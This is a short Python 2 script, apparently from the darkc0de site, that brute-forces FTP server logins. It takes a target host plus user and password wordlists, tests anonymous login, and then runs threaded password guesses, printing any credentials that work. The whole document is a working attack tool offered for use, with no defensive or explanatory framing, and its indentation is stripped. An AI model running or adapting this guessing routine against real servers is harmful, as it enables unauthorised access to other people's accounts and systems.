FTP brute forcer

#!usr/bin/python
#Ftp Brute Forcer
#http://www.darkc0de.com
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, ftplib
from ftplib import FTP
from copy import copy

if len(sys.argv) !=4:
print "Usage: ./ftpbrute.py "
sys.exit(1)

try:
users = open(sys.argv[2], "r").readlines()
except(IOError):
print "Error: Check your userlist path\n"
sys.exit(1)

try:
words = open(sys.argv[3], "r").readlines()
except(IOError):
print "Error: Check your wordlist path\n"
sys.exit(1)

print "\n\t d3hydr8[at]gmail[dot]com ftpBruteForcer v1.0"
print "\t--------------------------------------------------\n"
print "[+] Server:",sys.argv[1]
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words),"\n"

try:
f = FTP(sys.argv[1])
print "[+] Response:",f.getwelcome()
except (ftplib.all_errors):
pass

try:
print "\n[+] Checking for anonymous login\n"
ftp = FTP(sys.argv[1])
ftp.login()
ftp.retrlines('LIST')
print "\t\nAnonymous login successful!!!\n"
ftp.quit()
except (ftplib.all_errors):
print "\tAnonymous login unsuccessful\n"

wordlist = copy(words)

def reloader():
for word in wordlist:
words.append(word)

def getword():
lock = threading.Lock()
lock.acquire()
if len(words) != 0:
value = random.sample(words, 1)
words.remove(value[0])
else:
print "\nReloading Wordlist - Changing User\n"
reloader()
value = random.sample(words, 1)
users.remove(users[0])

lock.release()
if len(users) ==1:
return value[0][:-1], users[0]
else:
return value[0][:-1], users[0][:-1]

class Worker(threading.Thread):

def run(self):
value, user = getword()
try:
print "-"*12
print "User:",user,"Password:",value
ftp = FTP(sys.argv[1])
ftp.login(user, value)
ftp.retrlines('LIST')
print "\t\nLogin successful:",value, user
ftp.quit()
work.join()
sys.exit(2)
except (ftplib.all_errors), msg:
#print "An error occurred:", msg
pass

for i in range(len(words)*len(users)):
work = Worker()
work.start()
time.sleep(1)